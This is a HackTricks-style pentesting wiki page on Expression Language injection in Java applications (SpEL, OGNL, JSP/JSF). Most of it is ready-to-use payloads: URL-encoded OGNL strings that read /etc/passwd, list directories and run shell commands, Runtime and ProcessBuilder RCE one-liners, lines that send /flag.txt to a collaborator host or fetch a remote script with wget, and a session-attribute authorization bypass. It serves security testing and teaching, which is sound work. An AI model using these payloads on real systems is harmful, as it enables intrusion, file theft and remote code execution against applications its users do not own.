el-expression-language.md (12988B)
1 --- 2 title: "EL - Expression Language" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/ssti-server-side-template-injection/el-expression-language.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/ssti-server-side-template-injection/el-expression-language.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # EL - Expression Language 14 15 ## Bsic Info 16 17 Expression Language (EL) is integral in JavaEE for bridging the presentation layer (e.g., web pages) and application logic (e.g., managed beans), enabling their interaction. It's predominantly used in: 18 19 - **JavaServer Faces (JSF)**: For binding UI components to backend data/actions. 20 - **JavaServer Pages (JSP)**: For data access and manipulation within JSP pages. 21 - **Contexts and Dependency Injection for Java EE (CDI)**: For facilitating web layer interaction with managed beans. 22 23 **Usage Contexts**: 24 25 - **Spring Framework**: Applied in various modules like Security and Data. 26 - **General Use**: Through SpEL API by developers in JVM-based languages like Java, Kotlin, and Scala. 27 28 EL's is present in JavaEE technologies, standalone environments, and recognizable through `.jsp` or `.jsf` file extensions, stack errors, and terms like "Servlet" in headers. However, its features and the use of certain characters can be version-dependent. 29 30 > [!TIP] 31 > Depending on the **EL version** some **features** might be **On** or **Off** and usually some **characters** may be **disallowed**. 32 33 ## Basic Example 34 35 (You can find another interesting tutorial about EL in [https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/)) 36 37 Download from the [**Maven**](https://mvnrepository.com) repository the jar files: 38 39 - `commons-lang3-3.9.jar` 40 - `spring-core-5.2.1.RELEASE.jar` 41 - `commons-logging-1.2.jar` 42 - `spring-expression-5.2.1.RELEASE.jar` 43 44 And create a the following `Main.java` file: 45 46 ```java 47 import org.springframework.expression.Expression; 48 import org.springframework.expression.ExpressionParser; 49 import org.springframework.expression.spel.standard.SpelExpressionParser; 50 51 public class Main { 52 public static ExpressionParser PARSER; 53 54 public static void main(String[] args) throws Exception { 55 PARSER = new SpelExpressionParser(); 56 57 System.out.println("Enter a String to evaluate:"); 58 java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in)); 59 String input = stdin.readLine(); 60 Expression exp = PARSER.parseExpression(input); 61 String result = exp.getValue().toString(); 62 System.out.println(result); 63 } 64 } 65 ``` 66 67 Next compile the code (if you don't have `javac` installed, install `sudo apt install default-jdk`): 68 69 ```java 70 javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java 71 ``` 72 73 Execute the application with: 74 75 ```java 76 java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main 77 Enter a String to evaluate: 78 {5*5} 79 [25] 80 ``` 81 82 Note how in the previous example the term `{5*5}` was **evaluated**. 83 84 ## **CVE Based Tutorial** 85 86 Check it in **this post:** [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)<sup>[[1]](#references)</sup> 87 88 ## Payloads 89 90 ### Basic actions 91 92 ```bash 93 #Basic string operations examples 94 {"a".toString()} 95 [a] 96 97 {"dfd".replace("d","x")} 98 [xfx] 99 100 #Access to the String class 101 {"".getClass()} 102 [class java.lang.String] 103 104 #Access ro the String class bypassing "getClass" 105 #{""["class"]} 106 107 #Access to arbitrary class 108 {"".getClass().forName("java.util.Date")} 109 [class java.util.Date] 110 111 #List methods of a class 112 {"".getClass().forName("java.util.Date").getMethods()[0].toString()} 113 [public boolean java.util.Date.equals(java.lang.Object)] 114 ``` 115 116 ### Detection 117 118 - Burp detection 119 120 ```bash 121 gk6q${"zkz".toString().replace("k", "x")}doap2 122 #The value returned was "igk6qzxzdoap2", indicating of the execution of the expression. 123 ``` 124 125 - J2EE detection<sup>[[2]](#references)</sup> 126 127 ```bash 128 #J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer): 129 https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL 130 ``` 131 132 - Sleep 10 secs<sup>[[2]](#references)</sup> 133 134 ```bash 135 #Blind detection vector (sleep during 10 seconds) 136 https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString} 137 ``` 138 139 ### Remote File Inclusion 140 141 ```bash 142 https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd 143 ``` 144 145 ### Directory Listing 146 147 ```bash 148 https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=.. 149 ``` 150 151 ### RCE 152 153 - Basic RCE **explanation**<sup>[[3]](#references)</sup> 154 155 ```bash 156 #Check the method getRuntime is there 157 {"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()} 158 [public static java.lang.Runtime java.lang.Runtime.getRuntime()] 159 160 #Execute command (you won't see the command output in the console) 161 {"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")} 162 [Process[pid=10892, exitValue=0]] 163 164 #Execute command bypassing "getClass" 165 #{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")} 166 167 # With HTMl entities injection inside the template 168 <a th:href="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/ssti-server-side-template-injection/%24%7B''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'> 169 ``` 170 171 - RCE **linux**<sup>[[2]](#references)</sup> 172 173 ```bash 174 https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt 175 ``` 176 177 - RCE **Windows** (not tested)<sup>[[2]](#references)</sup> 178 179 ```bash 180 https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt 181 ``` 182 183 - **More RCE**<sup>[[3]](#references)[[4]](#references)</sup> 184 185 ```java 186 // Common RCE payloads 187 ''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>) 188 ''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start() 189 190 // Method using Runtime via getDeclaredConstructors 191 #{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])} 192 #{session.getAttribute("rtc").setAccessible(true)} 193 #{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")} 194 195 // Method using processbuilder 196 ${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())} 197 ${request.getAttribute("c").add("cmd.exe")} 198 ${request.getAttribute("c").add("/k")} 199 ${request.getAttribute("c").add("ping x.x.x.x")} 200 ${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())} 201 ${request.getAttribute("a")} 202 203 // Method using Reflection & Invoke 204 ${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")} 205 206 // Method using ScriptEngineManager one-liner 207 ${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))} 208 209 // Method using ScriptEngineManager 210 {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}} 211 ${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\"); 212 213 //https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt 214 (T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream())) 215 T(java.lang.System).getenv()[0] 216 T(java.lang.Runtime).getRuntime().exec('ping my-domain.com') 217 T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream()) 218 ''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe') 219 ``` 220 221 ### Inspecting the environment 222 223 - `applicationScope` - global application variables 224 - `requestScope` - request variables 225 - `initParam` - application initialization variables 226 - `sessionScope` - session variables 227 - `param.X` - param value where X is the name of a http parameter 228 229 You will need to cast this variables to String like: 230 231 ```bash 232 ${sessionScope.toString()} 233 ``` 234 235 #### Authorization bypass example 236 237 ```bash 238 ${pageContext.request.getSession().setAttribute("admin", true)} 239 ``` 240 241 The application can also use custom variables like: 242 243 ```bash 244 ${user} 245 ${password} 246 ${employee.FirstName} 247 ``` 248 249 ## WAF Bypass 250 251 Check [https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/](https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/)<sup>[[5]](#references)</sup> 252 253 Generic SSTI scanners and payload collections can complement the manual EL probes above, but their results still need to be matched to the actual expression engine and application context.<sup>[[6]](#references)</sup> 254 255 ## References 256 257 - [1] [xvnpw - Hacking SpEL - part 1](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a) 258 - [2] [mediaservice.net - Exploiting OGNL Injection](https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/) 259 - [3] [Remote Code Execution with EL Injection Vulnerabilities](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf) 260 - [4] [marcin33 - spel-injections.txt payloads](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt) 261 - [5] [h1pmnh - Spring EL WAF Bypass Writeup](https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/) 262 - [6] [PayloadsAllTheThings - Server Side Template Injection (Tools)](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)